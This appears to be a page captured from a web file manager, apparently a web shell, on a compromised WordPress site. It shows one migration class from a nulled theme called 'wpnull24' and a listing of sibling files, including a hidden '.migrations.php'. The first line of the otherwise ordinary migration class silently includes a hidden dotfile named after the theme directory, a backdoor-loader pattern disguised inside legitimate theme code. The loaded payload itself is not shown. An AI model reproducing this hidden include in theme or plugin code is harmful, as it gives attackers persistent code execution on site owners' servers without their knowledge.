PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_3_7 extends US_Migration_Translator { // Content public function translate_content( &$content ) { return $this->_translate_content( $content ); } public function translate_vc_row( &$name, &$params, &$content ) { $changed = FALSE; if ( ! empty( $params['us_bg_video'] ) AND $params['us_bg_video'] == 1 ) { if ( isset( $params['video_mp4'] ) AND $params['video_mp4'] != '' ) { $params['us_bg_video'] = $params['video_mp4']; } elseif ( isset( $params['video_webm'] ) AND $params['video_webm'] != '' ) { $params['us_bg_video'] = $params['video_webm']; } elseif ( isset( $params['video_ogg'] ) AND $params['video_ogg'] != '' ) { $params['us_bg_video'] = $params['video_ogg']; } else { unset( $params['us_bg_video'] ); } unset( $params['video_mp4'] ); unset( $params['video_webm'] ); unset( $params['video_ogg'] ); $changed = TRUE; } return $changed; } // Options public function translate_theme_options( &$options ) { $changed = FALSE; if ( isset( $options['rounded_corners'] ) AND $options['rounded_corners'] == FALSE ) { $options['button_border_radius'] = 0; $changed = TRUE; } return $changed; } // Meta public function translate_meta( &$meta, $post_type ) { $changed = FALSE; $translate_meta_for = array( 'post', 'page', 'us_portfolio', 'product', ); if ( ! in_array( $post_type, $translate_meta_for ) ) { return $changed; } if ( isset( $meta['us_header_show_onscroll'][0] ) AND $meta['us_header_show_onscroll'][0] == TRUE ) { $meta['us_header_sticky_pos'][0] = 'above'; $changed = TRUE; } return $changed; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]